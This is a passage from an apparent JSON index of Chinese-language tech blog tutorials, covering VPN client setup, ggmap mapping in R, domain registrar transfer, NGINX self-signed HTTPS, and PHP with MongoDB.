info，若要查詢其他指令的使用方式，可以執行 help。\n參考資料 HTG makeuseof MelGrubb ","permalink":"https://blog.gtwang.org/iot/diy-raspberry-pi-deluge-bittorrent-download-box/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派 Raspberry Pi 安裝 Deluge，自己打造一個 BT 下載專用機，既經濟又省電。\u003c/p\u003e\n\u003cp\u003e許多人都會使用 BT 來下載各種檔案，但是長時間的開機對於一般的電腦來說會造成很大的負擔，大量的資料存取也會造成硬碟的耗損，另外電費也是一個需要考量的問題，這也是很多人雖然想用 BT 但又不敢用太多的原因之一。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 與 Deluge 打造 BT（BitTorrent）下載專用機，經濟又省電"},{"content":"這裡介紹如何在 Linux 中設定 PPTP VPN 網路連線，透過 VPN 存取內部網路資源。\n一般的 Linux 發行版都會有 VPN 的設定工具可以使用，以下我們以 Linux Mint 中的 NetworkManager 為例，示範 PPTP VPN client 的設定方式，這個方法也是用於其他各種使用 NetworkManager 管理網路的 Linux 發行版（如 Ubuntu 等）。\nStep 1\n點選系統圖示列中的網路圖示，選擇「網路連線」。\nStep 2\n點選「加入」。\nStep 3\n選擇「點對點穿隧通訊協定（PPTP）」。\nStep 4\n填入連線名稱、通訊閘、使用者名稱與密碼。\nStep 5\n在進階選項中，有各種加密與壓縮的選項可以設定。\nStep 6\n設定完成後，在原本的系統圖示列網路選單中就會出現新的 VPN 連線，點選後即可連線。\nStep 7\n如果 VPN 有正常連線成功的話，就會出現這樣的連線成功訊息。\n以上就是在 Linux Mint 的 VPN 連線設定教學。\n","permalink":"https://blog.gtwang.org/linux/linux-pptp-vpn-setup-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中設定 PPTP VPN 網路連線，透過 VPN 存取內部網路資源。\u003c/p\u003e\n\u003cp\u003e一般的 Linux 發行版都會有 VPN 的設定工具可以使用，以下我們以 Linux Mint 中的 NetworkManager 為例，示範 PPTP VPN client 的設定方式，這個方法也是用於其他各種使用 NetworkManager 管理網路的 Linux 發行版（如 Ubuntu 等）。\u003c/p\u003e","title":"Linux 設定 PPTP VPN 網路連線教學（VPN Client）"},{"content":"這裡整理了一些高品質的網路架構圖示，讓您輕鬆畫出漂亮的網路拓樸圖。\n管理複雜的網路時，有一張清楚的網路拓樸圖是必要的，以下整理了一些很漂亮的網路相關設備的圖示，用這些素材畫出來的圖幾乎跟商業軟體（如 Visio）所畫出來的一樣漂亮，而且完全免費。\nVRT Network Equipment 圖庫 VRT 所提供的免費網路設備圖庫，各種資訊設備的圖示應有盡有，一般的網路架構用這套圖庫來話就很足夠了。\n週邊設備的圖示。\n網路設備的圖示。\n各種伺服器的圖示。\n產業自動化設備的圖示。\n電力設備的圖示。\n視覺化輸出設備的圖示。\n所有的圖示都是向量圖，所以可以任意指定顏色，或是從圖示中取出一部份自行修改。\n名稱：VRT Network Equipment\n下載網址：https://extensions.openoffice.org/en/project/vrt-network-equipment.html\n支援軟體：LibreOffice、OpenOffice\ngnomeDIAicons gnomeDIAicons 提供了少量的網路設備圖示。\n名稱：gnomeDIAicons\n下載網址：https://gnomediaicons.sourceforge.net/\n支援軟體：Dia\nopenclipart openclipart 上面有很多免費的圖示，但是都是零散的，而且品質參差不齊，有些品質很好，但有些則很差，所以比較難使用，在這裡找圖就要碰運氣了。\n名稱：openclipart\n下載網址：https://openclipart.org/\nImage Credit：Karin Dalziel\n","permalink":"https://blog.gtwang.org/free/network-diagram-editor-and-resource/","summary":"\u003cp\u003e這裡整理了一些高品質的網路架構圖示，讓您輕鬆畫出漂亮的網路拓樸圖。\u003c/p\u003e\n\u003cp\u003e管理複雜的網路時，有一張清楚的網路拓樸圖是必要的，以下整理了一些很漂亮的網路相關設備的圖示，用這些素材畫出來的圖幾乎跟商業軟體（如 Visio）所畫出來的一樣漂亮，而且完全免費。\u003c/p\u003e","title":"免費網路架構圖素材圖示圖庫下載整理"},{"content":"這裡介紹如何在 Mac OS X 中設定 PPTP VPN 網路連線，讓 Mac 電腦透過虛擬私人網路存取內部網路的資源。\n之前我們介紹過 Windows 7 設定 PPTP VPN 連線的方法，而這裡則是 Mac OS X 的 PPTP VPN 連線設定教學。\nStep 1\n在系統偏好設定中，選擇「網路」。\nStep 2\n點選左下方的「＋」，加入新的服務。\nStep 3\n介面選擇「VPN」，類型則依照自己的 VPN 選擇，服務名稱則填入自己取的名字。\nStep 4\n輸入 VPN 伺服器的網路位址、帳號等資訊。\n如果時常使用 VPN 的話，可以將下方的「在選單列中顯示 VPN 狀態」選項打勾，這樣在系統圖示列中就會出現 VPN 的圖示，方便管理。\nStep 5\n點選「認證設定」，輸入密碼，或是選擇其他的認證方式。\n設定完成之後，點選「連線」即可立即建立 VPN 的連線。\nStep 6\n若有啟用「在選單列中顯示 VPN 狀態」選項，在系統圖示列中就會出現 VPN 的圖示。\n以上就是 Mac OS X 中設定 VPN 連線的教學。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-pptp-vpn-setup-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Mac OS X 中設定 PPTP VPN 網路連線，讓 Mac 電腦透過虛擬私人網路存取內部網路的資源。\u003c/p\u003e\n\u003cp\u003e之前我們介紹過 \u003ca href=\"/windows/windows-7-pptp-vpn-setup-tutorial/\"\u003eWindows 7 設定 PPTP VPN 連線\u003c/a\u003e的方法，而這裡則是 Mac OS X 的 PPTP VPN 連線設定教學。\u003c/p\u003e","title":"Mac OS X 設定 PPTP VPN 網路連線教學（VPN Client）"},{"content":"這裡介紹如何在 Windows 7 中設定 PPTP VPN 網路連線，讓自己的電腦可以在外透過 VPN 存取內部網路的資源。\n現在市面上很多的路由器都有支援虛擬私人網路（VPN）的功能，有些入門等級的路由器只要幾百塊，買回來之後就可以馬上架設一台簡單的 VPN 伺服器，透過 VPN 可以將兩個以上的私人網路串連起來，既安全又方便。\n以下介紹如何在 Windows 7 中設定 VPN 網路連線，讓自己的電腦在私人網路之外也可以透過 VPN 存取內部的各種資源。\nStep 1\n在「控制台」中選擇「網路和網際網路」。\nStep 2\n選擇「網路和共用中心」。\nStep 3\n選擇「設定新的連線或網路」。\nStep 4\n選擇「連線到工作地點」。\nStep 5\n選擇「使用我的網際網路連線」。\nStep 6\n輸入 VPN 伺服器的網路位址，可以直接輸入 IP 位址或是網址，然後為這個 VPN 連線取一個名字，填在「目的地名稱」中。\n如果您不是立即都需要 VPN 連線，可以將「不要立即連線」的選項打勾，等需要的時候再手動開啟。\nStep 7\n輸入 VPN 伺服器的帳號與密碼（架設 VPN 伺服器時所建立的帳號與密碼）。\nStep 8\n接著就可以點選「立即連線」進行 VPN 連線了。\nStep 9\n如果設定正確，連線成功之後，就可以存取內部網路的資源了。\nStep 10\n若 VPN 的連線設定沒問題，之後我們就可以在系統圖示區的網路選單中控制 VPN 的連線了。\n以上就是 Windows 7 設定 PPTP VPN 連線的步驟教學。\n","permalink":"https://blog.gtwang.org/windows/windows-7-pptp-vpn-setup-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Windows 7 中設定 PPTP VPN 網路連線，讓自己的電腦可以在外透過 VPN 存取內部網路的資源。\u003c/p\u003e\n\u003cp\u003e現在市面上很多的路由器都有支援\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%99%9B%E6%93%AC%E7%A7%81%E4%BA%BA%E7%B6%B2%E8%B7%AF\"\u003e虛擬私人網路（VPN）\u003c/a\u003e的功能，有些入門等級的路由器只要幾百塊，買回來之後就可以馬上架設一台簡單的 VPN 伺服器，透過 VPN 可以將兩個以上的私人網路串連起來，既安全又方便。\u003c/p\u003e","title":"Windows 7 設定 PPTP VPN 網路連線教學（VPN Client）"},{"content":"這裡介紹如何使用 R 的 ggmap 套件來繪製地圖，並且把自己的資料依照經緯度畫在地圖上。\nggmap 套件是一個專門用來繪製地圖的 R 套件，它可以自動從 Google 地圖、OpenStreetMap、Stamen Maps 或 CloudMade Maps 網站上下載指定位置的地圖，讓使用者使用 ggplot 的語法來結合地圖與資料並進行繪製。\n除了基本的資料點標示之外，使用者還可以透過 ggmap 的所提供的函數來使用 Google 地圖 API 的各種功能，非常方便。\n繪製基本地圖 ggmap 套件中的 get_map 函數可以讓我們在 R 的環境中直接下載地圖，接著再呼叫 ggmap 函數就可以畫出來。若要繪製台灣的地圖，可以執行：\nlibrary(ggmap) library(mapproj) map \u0026lt;- get_map(location = \u0026#39;Taiwan\u0026#39;, zoom = 7) ggmap(map) 地圖的位置是透過 location 參數來指定，直接輸入地名即可，而 zoom 則是控制地圖的大小。這是畫出來的圖：\nget_map 有相當多的參數可以使用，language 可以設定地圖上文字標示的語言：\nmap \u0026lt;- get_map(location = \u0026#39;Taiwan\u0026#39;, zoom = 7, language = \u0026#34;zh-TW\u0026#34;) ggmap(map) 這是畫出來的圖：\nlocation 參數也可以接受經緯度，需要畫出比較精確的位置時，可以這樣使用：\nmap \u0026lt;- get_map(location = c(lon = 120.233937, lat = 22.993013), zoom = 10, language = \u0026#34;zh-TW\u0026#34;) ggmap(map) 這是畫出來的圖：\nmaptype 參數可以指定地圖的類型（預設是 terrain）：\nmap \u0026lt;- get_map(location = c(lon = 120.233937, lat = 22.993013), zoom = 10, language = \u0026#34;zh-TW\u0026#34;, maptype = \u0026#34;roadmap\u0026#34;) ggmap(map) 以下是幾種常見的地圖類型：\n這種黑白的地圖在顯示資料時很好用。\nggmap 的 darken 這個參數可以讓地圖變暗（或是變亮）：\nmap \u0026lt;- get_map(location = c(lon = 120.233937, lat = 22.993013), zoom = 10, language = \u0026#34;zh-TW\u0026#34;) ggmap(map, darken = 0.5) 這是畫出來的圖：\n若要讓地圖變亮，可以執行：\nmap \u0026lt;- get_map(location = c(lon = 120.233937, lat = 22.993013), zoom = 10, language = \u0026#34;zh-TW\u0026#34;) ggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) 這是畫出來的圖：\ndarken 基本上就是在地圖上多加一層圖層，透過指定透明度與顏色，就可以做出很多變化。\n將資料畫在地圖上 有了地圖之後，接著就是要將自己的資料畫在地圖上，我們以台灣的紫外線監測資料為例，示範如何將具有經緯度的資料畫在地圖上。\n首先從政府資料開放平臺上下載紫外線即時監測資料的 csv 檔，接著將資料讀進 R 中。（這裡我用的資料是 2015/11/16 15:22:15 的資料）\nuv \u0026lt;- read.csv(\u0026#34;UV_20151116152215.csv\u0026#34;) 這裡原始的經緯度資料是以度分秒表示，在使用前要轉換為度數表示。\nlon.deg \u0026lt;- sapply((strsplit(as.character(uv$WGS84Lon), \u0026#34;,\u0026#34;)), as.numeric) uv$lon \u0026lt;- lon.deg[1, ] + lon.deg[2, ]/60 + lon.deg[3, ]/3600 lat.deg \u0026lt;- sapply((strsplit(as.character(uv$WGS84Lat), \u0026#34;,\u0026#34;)), as.numeric) uv$lat \u0026lt;- lat.deg[1, ] + lat.deg[2, ]/60 + lat.deg[3, ]/3600 接著使用 ggplot 的語法，把資料加入地圖中：\nlibrary(ggmap) map \u0026lt;- get_map(location = \u0026#39;Taiwan\u0026#39;, zoom = 7) ggmap(map) + geom_point(aes(x = lon, y = lat, size = UVI), data = uv) ggmap 負責畫出基本的地圖，然後再使用 geom_point 加上資料點，除了指定經緯度之外，我們還使用紫外線的強度（UVI）來指定圓圈的大小。這是畫出來的圖：\n依照資料發佈單位（PublishAgency）分開畫圖：\nggmap(map) + geom_point(aes(x = lon, y = lat, size = UVI), data = uv) + facet_grid( ~ PublishAgency) 這是畫出來的圖：\n把地圖的顏色調淡一點，讓資料點更清楚：\nggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) + geom_point(aes(x = lon, y = lat, size = UVI), data = uv) 這是畫出來的圖：\n使用 Google 地圖的標記（marker）與路徑（path）：\nd \u0026lt;- function(x=-95.36, y=29.76, n,r,a){ round(data.frame( lon = jitter(rep(x,n), amount = a), lat = jitter(rep(y,n), amount = a) ), digits = r) } df \u0026lt;- d(n = 50,r = 3,a = .3) map \u0026lt;- get_googlemap(markers = df, path = df,, scale = 2) ggmap(map) 以下我們介紹一些進階的用法，首先產生一些測試用的資料：\nmu \u0026lt;- c(-95.3632715, 29.7632836) nDataSets \u0026lt;- sample(4:10,1) chkpts \u0026lt;- NULL for(k in 1:nDataSets){ a \u0026lt;- rnorm(2); b \u0026lt;- rnorm(2); si \u0026lt;- 1/3000 * (outer(a,a) + outer(b,b)) chkpts \u0026lt;- rbind(chkpts, cbind(MASS::mvrnorm(rpois(1,50), jitter(mu, .01), si), k)) } chkpts \u0026lt;- data.frame(chkpts) names(chkpts) \u0026lt;- c(\u0026#34;lon\u0026#34;, \u0026#34;lat\u0026#34;,\u0026#34;class\u0026#34;) chkpts$class \u0026lt;- factor(chkpts$class) qplot(lon, lat, data = chkpts, colour = class) 用等高線圖畫在地圖上：\nggmap(get_map(maptype = \u0026#34;satellite\u0026#34;), extent = \u0026#34;device\u0026#34;) + stat_density2d(aes(x = lon, y = lat, colour = class), data = chkpts, bins = 5) 將 crime 資料整理一下：\n# only violent crimes violent_crimes \u0026lt;- subset(crime, offense != \u0026#34;auto theft\u0026#34; \u0026amp; offense != \u0026#34;theft\u0026#34; \u0026amp; offense != \u0026#34;burglary\u0026#34; ) # rank violent crimes violent_crimes$offense \u0026lt;- factor(violent_crimes$offense, levels = c(\u0026#34;robbery\u0026#34;, \u0026#34;aggravated assault\u0026#34;, \u0026#34;rape\u0026#34;, \u0026#34;murder\u0026#34;) ) # restrict to downtown violent_crimes \u0026lt;- subset(violent_crimes, -95.39681 \u0026lt;= lon \u0026amp; lon \u0026lt;= -95.34188 \u0026amp; 29.73631 \u0026lt;= lat \u0026amp; lat \u0026lt;= 29.78400 ) 畫等高線圖：\nlibrary(grid) theme_set(theme_bw(16)) HoustonMap \u0026lt;- qmap(\u0026#34;houston\u0026#34;, zoom = 14, color = \u0026#34;bw\u0026#34;) # a contour plot HoustonMap + stat_density2d(aes(x = lon, y = lat, colour = offense), size = 3, bins = 2, alpha = 3/4, data = violent_crimes) + scale_colour_discrete(\u0026#34;Offense\u0026#34;, labels = c(\u0026#34;Robery\u0026#34;,\u0026#34;Aggravated Assault\u0026#34;,\u0026#34;Rape\u0026#34;,\u0026#34;Murder\u0026#34;)) + theme( legend.text = element_text(size = 15, vjust = .5), legend.title = element_text(size = 15,face=\u0026#34;bold\u0026#34;), legend.key.size = unit(1.8,\u0026#34;lines\u0026#34;) ) 二維的 histogram：\n# 二維的 histogram HoustonMap + stat_bin2d(aes(x = lon, y = lat, colour = offense, fill = offense), size = .5, bins = 30, alpha = 2/4, data = violent_crimes) + scale_colour_discrete(\u0026#34;Offense\u0026#34;, labels = c(\u0026#34;Robery\u0026#34;,\u0026#34;Aggravated Assault\u0026#34;,\u0026#34;Rape\u0026#34;,\u0026#34;Murder\u0026#34;), guide = FALSE) + scale_fill_discrete(\u0026#34;Offense\u0026#34;, labels = c(\u0026#34;Robery\u0026#34;,\u0026#34;Aggravated Assault\u0026#34;,\u0026#34;Rape\u0026#34;,\u0026#34;Murder\u0026#34;)) + theme( legend.text = element_text(size = 15, vjust = .5), legend.title = element_text(size = 15,face=\u0026#34;bold\u0026#34;), legend.key.size = unit(1.8,\u0026#34;lines\u0026#34;) ) 另一種等高線圖：\nHoustonMap + stat_density2d(aes(x = lon, y = lat, fill = ..level.., alpha = ..level..), size = 2, bins = 4, data = violent_crimes, geom = \u0026#34;polygon\u0026#34;) + scale_fill_gradient(\u0026#34;ViolentnCrimenDensity\u0026#34;) + scale_alpha(range = c(.4, .75), guide = FALSE) + guides(fill = guide_colorbar(barwidth = 1.5, barheight = 10)) 加上另外一個圖層：\nhouston \u0026lt;- get_map(\u0026#34;houston\u0026#34;, zoom = 14) overlay \u0026lt;- stat_density2d(aes(x = lon, y = lat, fill = ..level.., alpha = ..level..), bins = 4, geom = \u0026#34;polygon\u0026#34;, data = violent_crimes) HoustonMap + stat_density2d(aes(x = lon, y = lat, fill = ..level.., alpha = ..level..), bins = 4, geom = \u0026#34;polygon\u0026#34;, data = violent_crimes) + scale_fill_gradient(\u0026#34;ViolentnCrimenDensity\u0026#34;) + scale_alpha(range = c(.4, .75), guide = FALSE) + guides(fill = guide_colorbar(barwidth = 1.5, barheight = 10)) + inset( grob = ggplotGrob(ggplot() + overlay + scale_fill_gradient(\u0026#34;ViolentnCrimenDensity\u0026#34;) + scale_alpha(range = c(.4, .75), guide = FALSE) + theme_inset() ), xmin = attr(houston,\u0026#34;bb\u0026#34;)$ll.lon + (7/10) * (attr(houston,\u0026#34;bb\u0026#34;)$ur.lon - attr(houston,\u0026#34;bb\u0026#34;)$ll.lon), xmax = Inf, ymin = -Inf, ymax = attr(houston,\u0026#34;bb\u0026#34;)$ll.lat + (3/10) * (attr(houston,\u0026#34;bb\u0026#34;)$ur.lat - attr(houston,\u0026#34;bb\u0026#34;)$ll.lat) ) 多張等高線圖：\ndf \u0026lt;- data.frame( x = rnorm(10*100, -95.36258, .05), y = rnorm(10*100, 29.76196, .05), year = rep(paste(\u0026#34;year\u0026#34;,format(1:10)), each = 100) ) for(k in :9){ df$x[1:100 + 100*k] \u0026lt;- df$x[1:100 + 100*k] + sqrt(.05)*cos(2*pi*k/10) df$y[1:100 + 100*k] \u0026lt;- df$y[1:100 + 100*k] + sqrt(.05)*sin(2*pi*k/10) } ggmap(get_map(), base_layer = ggplot(aes(x = x, y = y), data = df)) + stat_density2d(aes(fill = ..level.., alpha = ..level..), bins = 4, geom = \u0026#34;polygon\u0026#34;) + scale_fill_gradient2(low = \u0026#34;white\u0026#34;, mid = \u0026#34;orange\u0026#34;, high = \u0026#34;red\u0026#34;, midpoint = 10) + scale_alpha(range = c(.2, .75), guide = FALSE) + facet_wrap(~ year) ","permalink":"https://blog.gtwang.org/r/r-ggmap-package-spatial-data-visualization/","summary":"\u003cp\u003e這裡介紹如何使用 R 的 ggmap 套件來繪製地圖，並且把自己的資料依照經緯度畫在地圖上。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eggmap\u003c/code\u003e 套件是一個專門用來繪製地圖的 R 套件，它可以自動從 Google 地圖、OpenStreetMap、Stamen Maps 或 CloudMade Maps 網站上下載指定位置的地圖，讓使用者使用 \u003ccode\u003eggplot\u003c/code\u003e 的語法來結合地圖與資料並進行繪製。\u003c/p\u003e","title":"R 的 ggmap 套件：繪製地圖與資料分佈圖，空間資料視覺化"},{"content":"這裡介紹如何更換網域名稱註冊商，將網址從 register 轉移到 GoDaddy。\n購買與註冊網址時，都會透過網路上的網域名稱註冊商來處理，正常來說註冊完成之後，只要定期付款就可以持續使用自己的網址，但是如果您感覺目前註冊商的服務不是很滿意，或是價格不合理，想要更換域名註冊商的話，請看以下的教學。\n更換網域名稱註冊商的過程不會很難，只是有一些認證的過程比較繁雜而已，只要抓住大原則，基本上不管從哪一家換到哪一家都不是問題，以下我們以 register.com 轉移網址到 GoDaddy 為例，介紹整個轉移的過程。\nStep 1\n首先到新的網域名稱註冊商選擇網址轉移的服務，以 GoDaddy 來說，就點選「Domain Transfer」。\nStep 2\n輸入要轉移的網域名稱。\nStep 3\n點選「Proceed to Chckout」繼續。\nStep 4\n接著會顯示網址轉移以及使用的費用，這個費用通常都很便宜，以我的例子來說，轉移網址加上一年的使用費是台幣 325 元。\n點選「Proceed to Checkout」繼續。\nStep 5\n選擇付款方式，然後結帳。\nStep 6\n完成購買的程序後，就可以前往「Domain Name」的設定頁面了。\nStep 7\n在設定頁面中，選擇「Transfers」籤頁，可以看到剛剛購買的網址轉移項目，而上面有標注目前的狀態以及需要採取的動作，對於不熟悉轉移流程的人，從這裡就可以很清楚知道下一步該做什麼。\n我們可以點選「Manage」進行後續的步驟。\nStep 8\n點選「Manage」之後，會跳出比較詳細的說明，依據 RECOMMENDED ACTION 的說明，我們必須先從舊的網域註冊商那邊取的轉移認證碼（transfer authorization code）。\nStep 9\n接著開啟舊域名註冊商的網頁，先將「Domain Lock」設定為「Disabled」，讓域名可以允許轉出。\nStep 10\n然後點選「Obtain Auth Info Code」，取得轉移認證碼。\nStep 11\n點選「Continue Transfer」繼續。\nStep 12\n點選「Request Auth Code」獲取認證碼。\nStep 13\n送出獲取認證碼的請求之後，還需要再等個幾天才會收到。\nStep 14\n認證碼會透過 E-mail 寄送，收到的認證碼會像這樣。\nStep 15\n在收到舊的網域註冊商的認證碼之後，還要檢查一下有沒有收到新網域註冊商的「Transaction ID」資訊，這個應該是付款完成後就會收到了。\nStep 16\n有了「Transaction ID」資訊與「Authorization Code」認證碼之後，就可以開始進行網址的轉移。開啟 GoDaddy Domain Name 的管理網頁。\nStep 17\n首先輸入「Transaction ID」資訊。\nStep 18\n然後輸入「Authorization Code」認證碼。\nStep 19\n接著就是等待舊的註冊商進行確認，這個也要等好幾天。\nStep 20\n轉移的過程中會需要確認 E-mail 的正確性，收到這樣的信件就點選裡面的「Verify Your Email Address」。\nStep 21\n轉移完成之後，後收到這樣的 E-mail。\nStep 22\n網址轉移完成之後，記得還要再檢查一下 DNS 伺服器的設定，通常一般人都會使用註冊商的 DNS 託管服務，所以更換註冊商之後，DNS 也要記得自己更換。\n以上就是更換網域註冊商的整個流程，基本上流程不會很複雜，只是有好幾道認證程序，要等比較久而已。\n","permalink":"https://blog.gtwang.org/web-hosting/change-domain-name-registrar-tutorial/","summary":"\u003cp\u003e這裡介紹如何更換網域名稱註冊商，將網址從 register 轉移到 GoDaddy。\u003c/p\u003e\n\u003cp\u003e購買與註冊網址時，都會透過網路上的網域名稱註冊商來處理，正常來說註冊完成之後，只要定期付款就可以持續使用自己的網址，但是如果您感覺目前註冊商的服務不是很滿意，或是價格不合理，想要更換域名註冊商的話，請看以下的教學。\u003c/p\u003e","title":"更換網域名稱註冊商教學，從 register 轉移網址到 GoDaddy"},{"content":"這裡介紹如何在 Linux 中建立自行簽署的 SSL 憑證，設定 NGINX 讓網頁支援 HTTPS 加密連線，使資料的傳輸更安全。\nTLS（前身是 SSL）是一種加密技術，它可以把未加密的網路傳輸協定包裝起來，讓所有的資料以加密的形式在網路上傳輸。以網頁來說，HTTP 是一個沒有加密的通訊協定，這樣的資料在網路上傳送時非常容易被竊取，而加上 TLS 之後的 HTTPS 就可以讓所有的資料經過加密之後在傳送，確保資料的安全。\n以下我們介紹 Linux 下的 NGINX 網頁伺服器要如何建立與安裝自行簽署的 SSL 憑證，並且設定讓未加密 HTTP 網址自動導向至 HTTPS 加密的網址。\nStep 1\n在設定之前，請先確認自己的 NGINX 伺服器已經安裝好了，基本的安裝設定可以參考 Ubuntu Linux 安裝與設定 LEMP 網頁伺服器步驟教學。\nStep 2\n建立一個放置憑證的目錄，目錄的路徑可以自由選擇，放在哪裡都可以，而考量到這個憑證是 NGINX 專用的，所以跟 NGINX 的設定檔放在一起可能會比較好管理。\nsudo mkdir /etc/nginx/ssl Step 3\n使用 openssl 產生自行簽署的 SSL 憑證，並且將憑證的存放路徑設成剛剛上面建立的目錄：\nsudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/nginx.crt 以下是這裡使用到的參數與簡略說明：\nreq：使用 X.509 Certificate Signing Request（CSR） Management 產生憑證。 -x509：建立自行簽署的憑證。 -nodes：不要使用密碼保護，因為這個憑證是 NGINX 伺服器要使用的，如果設定密碼的話，會讓伺服器每次在啟動時書需要輸入密碼。 -days 365：設定憑證的使用期限，單位是天，如果不想時常重新產生憑證，可以設長一點。 -newkey rsa:2048：同時產生新的 RSA 2048 位元的金鑰。 -keyout：設定金鑰儲存的位置。 -out：設定憑證儲存的位置。 這裡我們會同時建立憑證與金鑰，建立的過程中會需要填寫一些基本的資料：\nCountry Name (2 letter code) [AU]:TW State or Province Name (full name) [Some-State]:Taiwan Locality Name (eg, city) []:Taipei Organization Name (eg, company) [Internet Widgits Pty Ltd]:My Company Organizational Unit Name (eg, section) []:My Unit Common Name (e.g. server FQDN or YOUR name) []:myhost.gtwang.org Email Address []:user@gtwang.org Country Name：國家代碼，台灣就填 TW。 State or Province Name：州或省，台灣就填 Taiwan。 Locality Name：城市，例如台北就填 Taipei。 Organization Name：公司名稱。 Organizational Unit Name：部門名稱。 Common Name：伺服器的 FQDN，這個一定要填寫正確，如果沒有申請網域名稱的話，也可以用 IP 位址替代。 Email Address：E-mail 信箱。 填寫完成之後，憑證與金鑰的建立就完成了，而存放位置就在 /etc/nginx/ssl 目錄中。\nStep 4\n設定 NGINX 伺服器，在原本的設定檔中加上 SSL 的設定，並且設定憑證與金鑰的路徑：\nserver { listen 80 default_server; listen [::]:80 default_server; # 加入 SSL 設定 listen 443 ssl default_server; listen [::]:443 ssl default_server; # 憑證與金鑰的路徑 ssl_certificate /etc/nginx/ssl/nginx.crt; ssl_certificate_key /etc/nginx/ssl/nginx.key; # ... } Step 4\n接著重新啟動 NGINX 伺服器：\nsudo service nginx restart Step 5\n開啟 HTTPS 的網址，正常來說瀏覽器會有憑證授權不可靠的警告，而如果憑證的 FQDN 跟伺服器的 FQDN 沒有符合的話，也會出現網址不符的警告：\n網址不符的警告只要修改伺服器的網址或是重新產生一張符合網址的憑證就可以解決，而憑證授權的問題是由於我們使用的憑證是自行簽署的，所以這個憑證授權的警告是一定會出現的。\nStep 6\n如果希望所有的使用者都使用加密的 HTTPS 連線，不要使用沒有加密的 HTTP 的話，可以修改一下 NGINX 的設定，讓所有的 HTTP 的網址自動導向至 HTTPS 的網址：\nserver { listen 80 default_server; listen [::]:80 default_server; # 導向至 HTTPS rewrite ^(.*) https://$host$1 permanent; } server { # SSL 設定 listen 443 ssl default_server; listen [::]:443 ssl default_server; # 憑證與金鑰的路徑 ssl_certificate /etc/nginx/ssl/nginx.crt; ssl_certificate_key /etc/nginx/ssl/nginx.key; # ... } 這樣就算使用者輸入的是 HTTP 這種未加密的網址，也會自動導向至對應的 HTTPS 網址，確保所有的網頁資料都一定會經過 HTTPS 來傳輸，降低資料被竊取的風險。\n參考資料 DigitalOcean NGINX serverfault ","permalink":"https://blog.gtwang.org/linux/nginx-create-and-install-ssl-certificate-on-ubuntu-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中建立自行簽署的 SSL 憑證，設定 NGINX 讓網頁支援 HTTPS 加密連線，使資料的傳輸更安全。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\u003eTLS\u003c/a\u003e（前身是 SSL）是一種加密技術，它可以把未加密的網路傳輸協定包裝起來，讓所有的資料以加密的形式在網路上傳輸。以網頁來說，HTTP 是一個沒有加密的通訊協定，這樣的資料在網路上傳送時非常容易被竊取，而加上 TLS 之後的 HTTPS 就可以讓所有的資料經過加密之後在傳送，確保資料的安全。\u003c/p\u003e","title":"NGINX 設定 HTTPS 網頁加密連線，建立自行簽署的 SSL 憑證"},{"content":"這裡介紹如何在 PHP 中使用 MongoDB 資料庫，包含插入新增、修改更新與刪除資料等各種詳細範例教學。\nMongoDB 除了基本的 MongoDB Shell 使用方式之外，它也提供了各種程式語言的 driver，以下我們介紹在 PHP 中的 MongoDB 資料庫使用方式。\n本文內容已經過時，可能無法實作。\nPHP 使用 MongoDB 基本入門範例 以下是在 PHP 中使用 MongoDB 的範例程式碼：\n\u0026lt;?php // MongoDB 伺服器設定 $dbhost = \u0026#39;localhost\u0026#39;; $dbname = \u0026#39;gtwang_demo\u0026#39;; // 連線到 MongoDB 伺服器 $mongoClient = new MongoClient(\u0026#39;mongodb://\u0026#39; . $dbhost); $db = $mongoClient-\u0026gt;$dbname; // 取得 demo 這個 collection $cDemo = $db-\u0026gt;demo; // 要儲存的資料 $record = array( \u0026#39;firstName\u0026#39; =\u0026gt; \u0026#39;G.T.\u0026#39;, \u0026#39;lastName\u0026#39; =\u0026gt; \u0026#39;Wang\u0026#39;, \u0026#39;roles\u0026#39; =\u0026gt; array(\u0026#39;developer\u0026#39;, \u0026#39;webmaster\u0026#39;) ); // 將資料儲存至 demo 這個 collection 中 $cDemo-\u0026gt;save($record); // 設定查詢條件 $queryCondition = array( \u0026#39;firstName\u0026#39; =\u0026gt; \u0026#39;G.T.\u0026#39;, \u0026#39;lastName\u0026#39; =\u0026gt; \u0026#39;Wang\u0026#39; ); // 查詢資料 $result = $cDemo-\u0026gt;findOne($queryCondition); // 輸出資料 print_r($result); ?\u0026gt; 輸出為\nArray ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564e8db0b2fd7fb8278b4567 ) [firstName] =\u003e G.T. [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e developer [1] =\u003e webmaster ) ) 這裡用的 save 函數會依據 _id 檢查要儲存的 document 是否已經存在於 MongoDB 中，如果該 document 不存在的話，就會新增一筆，反之如果這個 document 已經存在了，就會更新該 document 資料。\n如果只是單純要新增資料，可以使用 insert 函數，更新資料則可用 update 函數。\n這時候我們可以使用 MongoDB Shell 連進 MongoDB 資料庫中，檢查一下資料是不是真的有儲存進去，執行：\nmongo gtwang_demo MongoDB shell version: 2.4.9 connecting to: gtwang_demo 進入 MongoDB Shell 後，查看 gtwang_demo 這個 database 中所有的 collection：\nshow collections demo system.indexes 確實有出現新增的 demo collection。（在 MongoDB 中的 system.* 是系統用的 collection，不必理會它）\n接著列出裡面的資料，執行：\ndb.demo.findOne() { \"_id\" : ObjectId(\"564e936bb2fd7f962e8b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } 看起來結果是正確的。接下來要介紹在 PHP 中 MongoDB 的一些進階查詢方法。\n進階查詢 介紹進階查詢的用法之前，我們要先新增一些資料到 MongoDB 資料庫中，我們接續之前的 PHP 範例程式，一次加入多筆資料到 demo 這個 collection 中：\n\u0026lt;?php // 要儲存的資料 $record2 = array( 